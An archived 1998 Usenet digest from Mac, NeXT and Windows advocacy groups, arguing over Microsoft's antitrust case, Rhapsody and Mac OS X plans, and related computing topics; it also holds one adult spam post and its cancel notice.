References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981 <rmcassid-1905980044070001@dante.eng.uci.edu> <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net> <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net> <Josh.McKee-2105981832300001@pm3a23.rmac.net> <6k2sok$l4r$3@strato.ultra.net> <Josh.McKee-2205981814520001@pm3a24.rmac.net> <6k6rm4$nkn$3@ligarius.ultra.net> <see-below-2305981537470001@209.24.241.7> <6k7k07$cs1$1@news.ox.ac.uk>
From: Darin Johnson <darin@usa.net.removethis>
Message-ID: <tvyra1je0dw.fsf@cn1.connectnet.com>
Date: Sun, 24 May 1998 23:04:42 GMT
NNTP-Posting-Date: Sun, 24 May 1998 16:04:42 PDT
"David McCabe" <david.mccabe@balliol.oxford.ac.uk> writes:
> Please substantiate your argument. Give examples, technical references,
> whatever. Please explain to me why, despite the integration level, Netscape
> can't simply implement the same documented interfaces and replace the
> pointers in the Registry.
It's history. Microsoft has done this sort of thing in the past.
Until they prove themselves trustworthy, we have no reason to assume
they haven't done this again, and won't do so in the future.
--
Darin Johnson
darin@usa.net.delete_me
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 24 May 1998 23:15:15 GMT
Organization: I don't think so
Message-ID: <slrn6mhan2.i5l.jason@jhste1.dyn.ml.org>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3565BC52.B03EB5FC@nstar.net> <6k4sku$9jj$1@crib.bevc.blacksburg.va.us> <3566448F.2722F9E0@nstar.net> <6k5ij2$a4l$1@crib.bevc.blacksburg.va.us> <35666214.339DA7D@nstar.net> <slrn6mcq8v.7f0.jason@jhste1.dyn.ml.org> <3566CC56.F7135A68@nstar.net> <slrn6me8nd.9ue.jason@jhste1.dyn.ml.org> <35687691.A09FF6CC@nstar.net>
Michael J. Peck posted the following to comp.sys.mac.advocacy:
>> >> You do know that vi is not the only editor available for UNIX, of
>> >> course. Why not give them NEdit? - it's really nice, and would work
>> >> well for people who can't handle vi (and NEdit's much less confusing
>> >> than emacs).
>> >I've used NEdit, and Thot, and XCoral, and...Microsoft Word. I'm sorry,
>> >there's no comparison.
>> Well, of course not - you're comparing text editors to a word processor.
>> Would you want to write code in a word processor? Would you want to
>> format documents in a text editor?
>Hold the phone; are you drawing this conversation into a discussion of
>Unix text editors, or are you trying to suggest an alternative to
>Microsoft Word? I can't tell what your purpose is.
You started out with people complaining about vi; you didn't say that
they were being made to use vi as a substitute for Microsoft Word.
--
In my opinion MS is a lot better at making money than it is at making
good operating systems.
-- Linus Torvalds (http://www.twics.com/~tlug/linus.html)
From: jedi@dementia.mishnet (jedi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 24 May 1998 23:34:35 +0000
Organization: All USENET -- http://www.Supernews.com
Message-ID: <slrn6mhbkb.3lq.jedi@dementia.mishnet>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k883d$okb$4@strato.ultra.net> <Josh.McKee-2405980959090001@pm3a10.rmac.net> <6k9gh7$5lk$1@nargun.cc.uq.edu.au>
On Mon, 25 May 1998 02:10:17 +1000, Christopher Smith <drsmithy@usa.net> wrote:
>
>Joshua T. McKee wrote in message ...
>>In article <6k883d$okb$4@strato.ultra.net>, "John Saunders"
>><jws@jws.ultranet.com> wrote:
>>
>>> Joshua T. McKee wrote in message ...
>>> I have seen no reason to believe that Microsoft prevents vendors from
>>> configuring Navigator as the default browser, depending on what you mean
>by
>>> "default browser". If you mean "the program that runs when I double-click
>a
>>> .HTML file", then I see no reason at all why a vendor can't make that
>>> change. They are allowed to install whatever additional products they
>want,
>>> and that normally creates or changes file associations. I am unable to
>>> guess what else you might mean by "default browser", so please elaborate.
>>
>>
>>Why can't the vendor alter the bootup sequence so that IE isn't anywhere
>>to be found? Even the initial bootup sequence.
>
>Because they are contractually obliged not to. How do you think Apple would
So what? That wouldn't be the first clause of a contract
that either is or should be unenforceable or just plain
illegal.
>react if CompUSA sold all their Macs so that they booted straight to VPC
>running Windows 95 ? I see no huge problem with Microsoft setting
>restrictions on how their OS boots on a machine the *first* time (note that
>the manufacturer can set the machine to do whatever it wants after that
>first boot).
Those who must perform the support services should
be the ones with all of the sysadmin control.
From: xxJennaJaimeson@celebsxxxx.com
Newsgroups: comp.sys.next.advocacy
Subject: ** STAR TREK CHICKS NUDE FREE 21683
Date: Sunday, 24 May 1998 21:36:26 -0600
Organization: <no organization>
Distribution: World
Message-ID: <24059821.3626@celebsxxxx.com>
http://cyberrealm.net/~dr777/
=======ALL FOR FREE=======
YOU HEVER TO SEE THIS TO BELIEVE IT.
4 HOT COLLEGE GIRLS LIVING IN A HOUSE
WITH CANS IN EVERY ROOM INCLUDING
THE SHOWER. THE CAMS ARE ON 24 HOURS
AND THERE IS ALSO A CHAT ROOM SO YOU
CAN TALK TO THEM TOO...
http://cyberrealm.net/~dr777/
http://cyberrealm.net/~dr777/
yi(9
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <24059821.3626@celebsxxxx.com>
Control: cancel <24059821.3626@celebsxxxx.com>
Date: 25 May 1998 00:38:31 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.24059821.3626@celebsxxxx.com>
Sender: xxJennaJaimeson@celebsxxxx.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
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Please include the X-CosmoTraq header of this message in any correspondence
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Sick-O-Spam, Spam-B-Gon!
Date: Sun, 24 May 1998 13:33:40 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Message-ID: <joe.ragosta-2405981333400001@elk35.dol.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3565BC52.B03EB5FC@nstar.net> <6k4sku$9jj$1@crib.bevc.blacksburg.va.us> <3566448F.2722F9E0@nstar.net> <6k5ij2$a4l$1@crib.bevc.blacksburg.va.us> <35666214.339DA7D@nstar.net> <joe.ragosta-2305982110400001@elk46.dol.net> <3567b573.0@206.25.228.5>
In article <3567b573.0@206.25.228.5>, jkheit@xtdl.com wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > In article <35666214.339DA7D@nstar.net>, "Michael J. Peck"
> > <mjpeck@nstar.net> wrote:
> > > That's sorta odd. I don't personally know anyone who's forced
> > > to use Microsoft products, but I don't know everyone, so I
> > > won't assume that my experience is normative. My father chooses
> > > to use a Macintosh, but he
>
> > You can count me.
>
> > I'd never use a MS product if given a choice. ClarisWorks is
> > sufficient for my needs at 1/4 the price and 1/5 the hardware
> > requirements.
>
> That doesn't mean you speak for anykind of majority or significant
> sector of the population. The fact is that ms products do many
> things that are critical to many segments. TOC, TOA, citations
> are all important to lawyers and not done at all well by CW, yet
> they are by word (whether they are done well is debatable). Lots
> of those kinds of things are make or break features, must haves,
> for various market segments.
>
> Don't get me wrong Joe, in spirit I'm with you in the "pure
> uncluttered" environment sentiment. However, the real world runs
> on uglier gunk. It runs on ms. Thems the facts.
> --
Absolutely true.
But Michael said he doesn't know anyone who's not willingly choosing MS.
I suspect you'll find a large percentage of Linux users in the same boat.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sun, 24 May 1998 08:00:00 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Message-ID: <joe.ragosta-2405980800010001@elk60.dol.net>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6juunr$1od$1@crib.bevc.blacksburg.va.us> <joe.ragosta-2005981413320001@wil112.dol.net> <35642BED.C74CB80B@milestonerdl.com> <6k8ebo$vja$1@news.orbitworld.net>
In article <6k8ebo$vja$1@news.orbitworld.net>,
ghenders@gary-hendershot.com (Gary Hendershot) wrote:
> >
> > So, you have knowledge the rest of us don't? That any PPC box
> > that runs Rhapsody 1.0 PPC will run Mac OS X?
> ========================================================================
>
> Rhapsody 1/PPC will run on a 604 box, but that won't be the case with
> MacOS-X.
>
> The word out on this issue (maybe it would be fair to call it an
> interpretation -- even though nothing is concrete yet) is that MacOS-X
> will *only* be supported on the G3/G4 platform (or higher). The
> 601, 603, and 604 platforms will have to operate on MacOS 9.x, which will
> continue to get tweaks as needed for a number of years until the vast
> majority of Macintosh users have converted to G3/G4 or higher hardware.
>
> Apple is wanting to optimise MacOS-X for G3/G4, not to mention enhance
> their bottom line by forcing anyone with these "older" platforms to
> upgrade their hardware if they *really* need the advanced features of
> MacOS-X. A significant number will go ahead and jump on the G3/G4
> bandwagon about the time MacOS is released anyway, since FireWire,
> AltiVec, and other goodies will be present in these 1999/2000 G3/G4
> boxes.
>
Actually, the official word is that G3 is definite, 604e is under
consideration. There is speculation that it will run on 604e boxes, but
will not be officially supported.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 25 May 1998 01:05:10 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6kag46$3dm$1@nnrp1.dejanews.com>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k9j23$s5b$1@nnrp1.dejanews.com> <356884A3.8FD3F840@flash.net>
I know I should just ignore this but...
In article <356884A3.8FD3F840@flash.net>,
LShaping <NoSpam@flash.net> wrote:
>
> <SNIP>
>
> > You, and the DOJ are probably correct
>
> <SNIP>
> David PetticordOf course we are.
> You keep forgetting that the DoJ isn't the major player. It's the (at
least)
> twenty state attorneys general, the DoJ, and a lot of businesses. Even if
you
> can't understand the rest, you could at least remember this.
> LShaping.
>
Wow, you sure do have Gaul. You snip a single phrase (not even a complete
sentence) out of an reasonably intelligent thread and accuse me of ignoring
the bigger picture.
As for your totally off subject remark. Are you really prepared to turn this
case over to a popularity contest? If Microsoft gets 21 states and a boat
load of businesses to back them, does it mean Microsoft is innocent?
This is a legal case, it should and will be decided on merits and the law.
It should not matter how many states or businesses are "major players".
Some of us call it "due process". I understand this, do you? I will
continue to remember it, will you?
David Petticord
Complete Networks, Inc.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: rfelts@. (Roger Felts)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 25 May 1998 01:36:35 GMT
Organization: gte.net
Message-ID: <6kai2u$89m$1@gte2.gte.net>
References: <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <ericb-2405981848570001@132.236.171.104>
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On Sun, 24 May 1998 18:48:57 -0400, Eric Bennett wrote:
>For starters, try here:
>http://www.around.com/microsoft.html
>
>=====
>In the 1980's, Microsoft executives often spoke of a "Chinese wall"
>between the systems group, responsible for DOS and Windows, and the
>applications group, responsible for the programs that ran in those
>operating environments. Ballmer himself once said there was "a very clean
>separation" -- "It's like the separation of church and state." Competitors
>were dubious, knowing that all neurons at Microsoft led to Bill Gates;
>these days Microsoft executives take a different tack. They deny that the
>concept of a Chinese wall ever existed. They admit that their own
>developers sometimes get an edge in knowing how to take advantage of new
>Windows features before the knowledge spreads to competitors.
And again, the proof? All I see is more assertion.
From: rfelts@. (Roger Felts)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 25 May 1998 01:26:26 GMT
Organization: gte.net
Message-ID: <6kah18$96j$1@gte1.gte.net>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <chrisj-1905981341480001@usr2a12.bratt.sover.net> <6jtgif$vp6$8@ligarius.ultra.net> <35cfaa27.360314511@news.supernews.com>
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On Fri, 22 May 1998 16:42:28 GMT, T. Max Devlin wrote:
>"John Saunders" <jws@jws.ultranet.com>, on Tue, 19 May 1998 22:40:09
>>And as I've said before. If Netscape wants to play in that market, all it
>>has so do is implement these interfaces. They chose not to. Maybe they'll
>>change their minds, or maybe someone will make this change to the Netscape
>>code.
>You seem to be assuming that Netscape has equal access to those
>interfaces. This is incorrect.
Why do you think that NS cannot implement the publicly documented
interfaces in their own dll?
From: rfelts@. (Roger Felts)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 25 May 1998 01:27:59 GMT
Organization: gte.net
Message-ID: <6kah44$7ak$1@gte1.gte.net>
References: <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com>
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On Fri, 22 May 1998 16:49:28 GMT, T. Max Devlin wrote:
>Microsoft acknowledges that the OS group modifies the OS specifically to
>help the MS apps group, and vice versa. This means that, inherently,
>Microsoft application programmers have access to information about and
>interfaces into the operating system that other application programmers
>do not.
They do? Where?
From: rfelts@. (Roger Felts)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 25 May 1998 01:40:57 GMT
Organization: gte.net
Message-ID: <6kaib4$l8b$1@gte2.gte.net>
References: <rmcassid-1905980044070001@dante.eng.uci.edu> <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net> <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net> <Josh.McKee-2105981832300001@pm3a23.rmac.net> <6k2sok$l4r$3@strato.ultra.net> <Josh.McKee-2205981814520001@pm3a24.rmac.net> <6k6rm4$nkn$3@ligarius.ultra.net> <see-below-2305981537470001@209.24.241.7> <6k7oji$hqc$3@strato.ultra.net> <Josh.McKee-2405981004530001@pm3a10.rmac.net>
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On Sun, 24 May 1998 10:04:52 -0600, Joshua T. McKee wrote:
>Geez, I don't even know why I'm responding to this. It is so blatently
>obvious that Microsoft, as the developer of the OS, holds a huge advantage
>over it's competitiors when it comes to intergrated applications into the
>OS.
>
>Let's just assume that Netscape has developed Navigator to be intergrated
>into the OS. Do you think Microsoft is going to allow this? Hell, we
>can't even alter the initial boot sequence...do you think Microsoft will
>allow them to pre-install Navigator, which would highly modify Windows,
>onto the PC's? That would require making extensive modifications to the
>OS, as Microsoft puts it. Do you honestly believe that Microsoft would
>allow such modification to their OS? I don't...and any arguements to
>support them in that decision are arguments that Microsoft holds an
>extreme advantage.
The question wasn't "Can they get it preinstalled?," the question was
"Can they write a replacement which offers the same functionality?"
And they could, should they choose to do so.
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us> <3566bf1b.585911@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu> <6k7j6i$7i5$1@tallowcross.uni-frankfurt.de> <3567b666.0@206.25.228.5>
From: uli@tallowcross.uni-frankfurt.de (Uli Zappe)
Message-ID: <3568d2fc.0@juno>
Date: 25 May 98 02:10:04 GMT
John Kheit <jkheit@xtdl.com> wrote:
> For me, the nice icons and generally exceptional taste in design
> helped a lot too. Something I find lacking and irking in apple's
> products. Clearly, here, YMV. I found the culmination of all the
> factors, the synergy, to be the "pleasant" factor for NeXTSTEP.
Personally, I agree 100% with you. It's just that I think that while
everyone's talking UI and preemptive multitasking, the most *essential* user
advantage in OPENSTEP is being constantly overlooked.
Bye
Uli
_____________________________________________________________________
Uli Zappe E-Mail: uli@tallowcross.uni-frankfurt.de
(NeXTMail,Mime,ASCII) PGP on request
Lorscher Strasse 5 WWW: -
D-60489 Frankfurt Fon: +49 (69) 9784 0007
Germany Fax: +49 (69) 9784 0042
staff member of NEXTTOYOU - the German NEXTSTEP/OPENSTEP magazine
_____________________________________________________________________
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <130942233171443968@mailexcite.com>
Control: cancel <130942233171443968@mailexcite.com>
Date: 25 May 1998 03:06:56 GMT
Organization: BOFH Space Command, Usenet Division
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Sender: nobody@gatekeeper.transre.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
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Please include the X-CosmoTraq header of this message in any correspondence
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Sick-O-Spam, Spam-B-Gon!
From: ghenders@gary-hendershot.com (Gary Hendershot)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Date: 25 May 1998 02:57:48 GMT
Organization: Gary-H-dot-COM
Message-ID: <6kamnc$qd4$1@news.orbitworld.net>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <joe.ragosta-1905982053010001@elk125.dol.net> <6jtlb0$dc7$3@nntp2.ba.best.com> <199805212152591422764@[193.216.37.99]> <6k8oqe$bq$2@news.orbitworld.net> <35688019.DC2426BD@nstar.net>
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>> This has not been talked about very much in the press, but word of
>> this Micro$oft project slipped out over a year ago and $un responded
>> quickly saying that it was also working on such a project and demanded
>> that M$ stop work immediately on this new implementation of NFS.
>> M$ refused. That's about all I recall.
------------------------------------------------------------------------
>
> Maybe you're referring to Sun's WebNFS and Microsoft's CIFS?
========================================================================
Correct. I finally recalled today (a day after I posted this) that
one of the two parties involved was calling their product "WebNFS."
-Gary H-
ghenders@gary-hendershot.com
Houston, TX USA
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Sun, 24 May 1998 20:43:16 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6kapkq$r31$1@nnrp1.snfc21.pbi.net>
References: <joe.ragosta-2105980831500001@wil111.dol.net> <B189AF72-1DB71@206.165.43.125> <joe.ragosta-2105981340080001@wil125.dol.net> <see-below-2105981612370001@209.24.241.47> <joe.ragosta-2105982051550001@elk126.dol.net> <see-below-2105981906100001@209.24.241.47> <356564CF.B5BC821A@milestonerdl.com> <nagleEtFAEt.D2H@netcom.com> <35681936.B375F977@milestonerdl.com>
m rassbach wrote in message <35681936.B375F977@milestonerdl.com>...
>John Nagle wrote:
>> Embedded system CPUs have prices from US$0.50 to maybe $50, tops.
>> The under $10 range has most of the embedded market. On the other hand,
>> CPUs for desktop systems are running from $200 up to over $1000.
>> The embedded parts typically are much smaller and cheaper, to meet that
>> cost structure.
>
>Anytime you have a processor doing one 'task' and 'one' task only....it's
embedded.
>
>Would you consider the processor in a Cisco 7500 embedded or general?
>
>How about the 68020 on the DPT card in my hand?
>
>Or the Intel Pentium on an Ascend Max?
These are the exception in the embedded market. The rule is the embedded
processor in a cell phone or a VCR. One embedded product I worked on
was a display driver for a "pro" audio equalizer--it consisted of an
HC05 driving a plasma refresh device. Part count: 4, not counting the
half dozen resistors and caps, but counting the plasma display.
These applications, not the Cisco 7500 embedded processor or the
Cheshire switcher I worked on once (which was a full 386 system, complete
with non-trivial DRAM refresh circuitry, at a time when x386 desktop
systems were high end) constitute both the majority of the market in volume
and in dollar sales.
The number of Power processors designed for the desktop market that
Motorola sells into the embedded market is trivial compared to that of
the desktop market--Motorola has a completely different line of embedded
Power architecture products which are better suited to meet the embedded
market cost structure. And as I noted before (and you so casually
dismissed out of hand), while they both have the same core processor
circuitry, the embedded version of the Power architecture has different
output pins in order to support the demands of the embedded market--
lower part counts, lower cost, and lower engineering costs.
- Bill
From: Alan Frabutt <afrabutt-at@gatecom-dot.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Java is VHS, YellowBox is Betamax
Date: 25 May 1998 03:51:00 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <6kapr4$5ha$1@news4.ispnews.com>
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com> <6jt4ie$vjg$1@crib.bevc.blacksburg.va.us>
<nospampischke-1905982350420001@ts7-32t-16.idirect.com> <35626D26.B7616464@alum.mit.edu>
<6k4e9i$420$1@nnrp1.dejanews.com>
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Cc: dave@prim.demon.co.uk
In <6k4e9i$420$1@nnrp1.dejanews.com> dave@prim.demon.co.uk wrote:
<snip>
> Steve Jobs has obviously recognized that Java is the future and has
committed
> Apple to producing the fastest Java VM around. His followers don't seem to
> have woken up and smelt the coffee though.
So Java is the final, ultimate destination of programming languages. I guess
I'll just have to displace my well earned cynicism and find the religion.
Again.
>
> The old AppKit API's are going to fade away. You can do all that and more
in
> Java 1.2, plus it'll run everywhere. The Java VM gives us a common media
> to "play" software on. Java is like VHS, Yellow Box will be like Betamax.
>
If you're going to drag out the VHS/Betamax thing again, please go play in
the marketing sandbox... I think it's a couple newsgroups up and over two or
three levels. The ClueQuest (tm) web page might help. Try and limit
automotive references too, unless your goal is to annoy people.
All in good fun,
-a
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: WHAT THE HELL IS UP WITH RHAPSODY FOR INTEL????
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 25 May 1998 03:57:31 GMT
Organization: Digital Fix Development
Message-ID: <6kaq7b$a9t$1@news.digifix.com>
References: <6k9vb0$kgj$1@newsfep4.sprintmail.com>
In-Reply-To: <6k9vb0$kgj$1@newsfep4.sprintmail.com>
On 05/24/98, macghod@concentric.net wrote:
<snip>
>Am I the only one to find this VERY CONFUSING??
>
No, it is confusing. Less so if you listen to the people who
are in marketing instead of technical folks. Technical folks at Apple
were publically saying during the first four days of the WWDC that
Intel was still a go.
The Marketing folks however were not.
BTW>... why are you cross-posting this wildly? Advocacy
issues don't belong in the mac codewarrior groups.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: WHAT THE HELL IS UP WITH RHAPSODY FOR INTEL????
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 25 May 1998 04:04:57 GMT
Organization: Digital Fix Development
Message-ID: <6kaql9$ah2$1@news.digifix.com>
References: <6k9vb0$kgj$1@newsfep4.sprintmail.com> <35688CDD.5C6BC464@milestonerdl.com>
In-Reply-To: <35688CDD.5C6BC464@milestonerdl.com>
NOTE: Follow-ups changed to a reasonable subset.
It seems that every time Macghod posts a new message he blankets these
groups, some of which are not appopriate. Apparently m rassbach's
years of engineering training haven't given him the skills to set a
followup-to header.
On 05/24/98, m rassbach wrote:
>
>
>macghod@concentric.net wrote:
>
>> So jordan J. Dea-Mattson, senior partnership & technology solutions
manager,
>> Apple Developer Relations says their will be no rhapsody for intel
after cr1,
>> and this vice president of platform technologies says their WILL
be rhapsody
>> for intel after cr1?!??!
>>
>> Am I the only one to find this VERY CONFUSING??
>
>The people at StepWise are claiming they have it ALL figured out.
>
You truly are being a jerk. You can't get it, so everyone
else must be incapable, huh?
Look at the dates of these things... Bertrand made these
statements on the Monday of the WWDC.
Steve Jobs made his statements to me on Friday/Saturday.
Jordan Dea-Mattson (ADR guy) on Monday or Tuesday after WWDC. Ken
Bereskin (in the Product marketing group for Rhapsody) was saying that
Intel was in question during the week of the WWDC.
>(And yes, you are right MacGhod. But, Apple seems unable of creating
a clear
>message.)
>
The message is clear right now.
Rhapsody itself is changing its name to Mac OS X after release
1.0. They are not committed to releasing Mac OS X on Intel. You want
that to change? http://www.of.org/rhaptel
I wish Apple had made the message clearer for no reason other
than to shut you up.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: Alan Frabutt <afrabutt-at@gatecom-dot.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: 25 May 1998 04:45:02 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <6kat0e$5ha$2@news4.ispnews.com>
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us>
<3566bf1b.585911@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu>
<see-below-2305981551320001@209.24.241.7>
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Cc: see-below@not-my-address.com
In <see-below-2305981551320001@209.24.241.7> Matthew Vaughan wrote:
> In article <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu>,
> rkt1@cornell.eduz (Tapella) wrote:
>
> > As far as I can tell, the worst loss is the "look" of the UI rather than
> > the "feel". The MacOS UI is well-planned and efficient.
>
> I remember a year ago all the Next developers were complaining about how
> sucky the Mac interface was compared to OpenStep, but they've been pretty
> silent since. I was wondering if that was the NDA at work, or whether some
> have actually changed their minds. I haven't used OpenStep or Rhapsody so
> I can't compare, but I'm curious what you all think of the Mac interface
> (at least as implemented in DR1/DR2) now?
>
> ....................................................
> MATTHEW VAUGHAN
> matthewv at best dot com (damn spammers...)
> http://www.best.com/~matthewv/
> ....................................................
>
If I had the option of a more NeXTy interface style on Rhap, I'd use it in a
heartbeat. I still think the Mac model of dealing with removeable media
(among other things) is a broken artifact of the days before hard drives.
At least Rhap does that right!
-a
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: 24 May 1998 22:42:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B18E52BF-1263AB@206.165.43.142>
References: <joe.ragosta-2405980800010001@elk60.dol.net>
